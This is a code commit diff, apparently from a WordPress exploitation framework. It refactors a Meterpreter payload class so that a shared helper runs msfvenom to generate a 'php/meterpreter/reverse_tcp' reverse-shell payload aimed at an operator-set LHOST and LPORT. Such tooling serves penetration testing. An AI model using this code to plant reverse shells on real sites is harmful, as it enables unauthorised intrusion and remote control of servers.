Create new helper for payloads using msfvenom

Author: rastating

payloads/meterpreter_reverse_tcp.rb

@@ -5,17 +5,13 @@ module Wpxf::Payloads
   class MeterpreterReverseTcp < Wpxf::Payload
     include Wpxf
     include Wpxf::Options
+    include Wpxf::Payloads::MsfVenomHelper
 
     def initialize
       super
 
+      register_msfvenom_options
       register_options([
-        StringOption.new(
-          name: 'msfvenom',
-          required: true,
-          default: 'msfvenom',
-          desc: 'The path to the msfvenom executable'
-        ),
         StringOption.new(
           name: 'lhost',
           required: true,
@@ -38,32 +34,12 @@ def lport
       normalized_option_value('lport')
     end
 
-    def msfvenom
-      normalized_option_value('msfvenom')
-    end
-
     def raw
-      @meterpreter_payload
+      msfvenom_payload
     end
 
     def prepare(mod)
-      mod.emit_info 'Generating Meterpreter payload...'
-      begin
-        stdout, stderr = Open3.capture3(msfvenom, '-p', 'php/meterpreter/reverse_tcp', "LHOST=#{host}", "LPORT=#{lport}")
-      rescue Errno::ENOENT => e
-        mod.emit_error e.to_s, true
-        mod.emit_error 'msfvenom not found - check the msfvenom payload option'
-        return false
-      end
-
-      if stdout.empty?
-        mod.emit_error 'Failed to generate the Meterpreter payload'
-        mod.emit_error stderr
-        return false
-      end
-
-      @meterpreter_payload = stdout
-      true
+      generate_msfvenom_payload(mod, 'php/meterpreter/reverse_tcp', "LHOST=#{host}", "LPORT=#{lport}")
     end
   end
 end

payloads/msfvenom_helper.rb

@@ -0,0 +1,44 @@
+# Provides common functionality for generating payloads using msfvenom.
+module Wpxf::Payloads::MsfVenomHelper
+  include Wpxf
+  include Wpxf::Options
+
+  def register_msfvenom_options
+    register_options([
+      StringOption.new(
+        name: 'msfvenom',
+        required: true,
+        default: 'msfvenom',
+        desc: 'The path to the msfvenom executable'
+      )
+    ])
+  end
+
+  def msfvenom
+    normalized_option_value('msfvenom')
+  end
+
+  def msfvenom_payload
+    @meterpreter_payload
+  end
+
+  def generate_msfvenom_payload(mod, payload_name, *args)
+    mod.emit_info 'Generating payload...'
+    begin
+      stdout, stderr = Open3.capture3(msfvenom, '-p', payload_name, *args)
+    rescue Errno::ENOENT => e
+      mod.emit_error e.to_s, true
+      mod.emit_error 'msfvenom not found - check the msfvenom payload option'
+      return false
+    end
+
+    if stdout.empty?
+      mod.emit_error 'Failed to generate the payload'
+      mod.emit_error stderr
+      return false
+    end
+
+    @meterpreter_payload = stdout
+    true
+  end
+end